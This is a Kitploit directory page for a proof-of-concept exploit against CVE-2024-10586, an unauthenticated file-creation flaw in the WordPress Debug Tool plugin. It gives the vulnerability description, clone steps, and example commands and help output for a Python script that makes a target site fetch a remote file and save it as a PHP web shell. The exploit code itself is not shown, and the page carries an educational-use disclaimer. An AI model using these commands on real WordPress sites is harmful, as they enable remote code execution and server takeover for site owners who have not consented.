Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-10586-Poc — Proof-of-concept exploit for CVE-2024-10586 targeting WordPress Debug Tool plugin. Automates arbitrary file upload leading to remote code execution via unauthenticated POST requests. | Kitploit
Tools/GitHubGitHub/nxploited/cve-2024-10586-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubnxploited/cve-2024-10586-poc

CVE-2024-10586-Poc

Proof-of-concept exploit for CVE-2024-10586 targeting WordPress Debug Tool plugin. Automates arbitrary file upload leading to remote code execution via unauthenticated POST requests.

View Repository
121 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Vulnerability Information

Description The Debug Tool plugin for WordPress is vulnerable to arbitrary file creation due to a missing capability check on the dbt_pull_image() function and missing file type validation in all versions up to, and including, 2.2.
This makes it possible for unauthenticated attackers to create arbitrary files such as .php files that can be leveraged for remote code execution.

CVE ID

CVE-2024-10586

Script Usage

Prerequisites

  • Python 3.x installed on your system.
  • Install required dependencies: pip install requests

How to Run

  1. Clone the repository from GitHub:
git clone https://github.com/Nxploited/CVE-2024-10586-Poc
cd CVE-2024-10586-Poc

  1. Run the script with the following command: python CVE-2024-10586.py -u -r -p

    Parameters

  • -u, --url: The base URL of the WordPress site (e.g., http://example.com/wordpress).
  • -r, --remote: The URL of the remote file to be used as the payload source.
  • -p, --path: Optional. The path where the shell will be saved. Defaults to /opt/lampp/htdocs/wordpress/wp-content/Nxploit.php.

Example Command

python CVE-2024-10586.py -u http://192.168.100.74/wordpress -r http://192.168.100.74/shell.txt -p /opt/lampp/htdocs/wordpress/wp-content/shell.php

Example Usage

python CVE-2024-10586.py -u http://192.168.100.74/wordpress -r http://192.168.100.74/shell.txt -p /opt/lampp/htdocs/wordpress/wp-content/shell.php

usage: CVE-2024-10586.py [-h] -u URL -r REMOTE [-p PATH]

Send a POST request to WordPress admin-ajax.php.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The base URL of the WordPress site.
  -r REMOTE, --remote REMOTE
                        The remote URL to use in the 'source' parameter.
  -p PATH, --path PATH  The file path to use in the 'missed' parameter. Defaults to '/opt/lampp/htdocs/wordpress/wp-content/Nxploit.php'.

Disclaimer

This script is for educational purposes only. Use it responsibly and only on systems you own or have explicit permission to test. The authors are not responsible for any misuse or damage caused by this tool.

Download Tool